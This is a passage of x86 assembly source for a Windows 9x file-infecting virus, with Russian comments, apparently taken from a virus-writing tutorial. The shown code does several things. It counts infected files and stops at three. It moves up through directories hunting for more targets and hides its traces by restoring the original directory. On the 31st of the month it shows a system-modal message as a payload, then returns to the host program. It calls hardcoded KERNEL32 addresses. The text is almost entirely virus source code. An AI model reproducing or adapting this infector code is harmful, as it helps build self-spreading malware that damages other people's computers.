call CloseFile
;Переход к следующему файлу
findnextone:
;Проверим, сколько файлов заразили: если 3,
;то выходим, если меньше – ищем следующий
cmp byte ptr [ebp+offset countinfect],3
jz outty
;Ищем следующий файл
lea eax,[ebp+offset win32_data_thang]
push eax
push dword ptr [ebp+offset searchhandle]
call FindNext
;Если файл найден, переходим к заражению
or eax,eax
jnz gofile
;Сюда попадаем, если файл не найден
foundnothing:
;Сменим директорию
xor eax,eax
lea edi,[ebp+offset tempdir]
mov ecx,256/4
rep stosd
lea edi,[ebp+offset tempdir1]
mov ecx,256/4
rep stosd
;Получим текущую директорию
lea esi,[ebp+offset tempdir]
push esi
push 255
call GetCurDir
;Сменим директорию на ”.”
lea eax,[ebp+offset dotdot]
push eax
call SetCurDir
;Получим текущую директорию
lea edi,[ebp+offset tempdir1]
push edi
push 255
call GetCurDir
;Проверим, корневая ли это директория. Если да, то выходим
mov ecx,256/4
rep cmpsd
jnz infectdir
;”Заметаем следы” и выходим в программу−носитель
outty:
;Возвратимся в оригинальную текущую директорию
lea eax,[ebp+offset orgdir]
push eax
call SetCurDir
;Получим текущую дату и время
lea eax,[ebp+offset systimestruct]
push eax
call GetTime
;Проверим число. Если это 31−ое, выдаем сообщение
cmp word ptr [ebp+offset day],31
jnz nopayload
;Сообщение для пользователя
push 1000h ;MB_SYSTEMMODAL
lea eax,[ebp+offset boxtitle]
push eax
lea eax,[ebp+offset boxmsg]
push eax
push 0
call MsgBox
;Выход в программу−носитель
nopayload:
pop eax
jmp eax
;Когда KERNEL будет обнаружен, его смещение будет записано
kern dd 0BFF93B95h
;Значения KERNEL, известные нам
kern1 dd 0BFF93B95h
kern2 dd 0BFF93C1Dh
;Чтение текущей директории
GetCurDir:
;Запишем в стек значение для получения текущей
;директории и вызовем KERNEL
push 0BFF77744h
jmp [ebp+offset kern]
;Установка текущей директории
SetCurDir:
;Запишем в стек значение для установки текущей
;директории и вызовем KERNEL
push 0BFF7771Dh
jmp [ebp+offset kern]
;Получение времени и даты
GetTime:
;Проверим, какой KERNEL работает
cmp [ebp+offset kern],0BFF93B95h
jnz gettimekern2
;Запишем в стек значение для получения
;времени и даты и вызовем KERNEL
push 0BFF9D0B6h
jmp [ebp+offset kern]
gettimekern2:
;Запишем в стек значение для получения
;времени и даты и вызовем KERNEL
push 0BFF9D14Eh
jmp [ebp+offset kern]
;Вывод сообщения
MsgBox:
;Запишем в стек значение для вывода сообщения и вызовем KERNEL
push 0BFF638D9h
jmp [ebp+offset kern]
;Поиск первого файла
FindFile:
;Запишем в стек значение для поиска первого файла
;и вызовем KERNEL
push 0BFF77893h
jmp [ebp+offset kern]
;Поиск следующего файла
FindNext:
;Запишем в стек значение для поиска
;следующего файла и вызовем KERNEL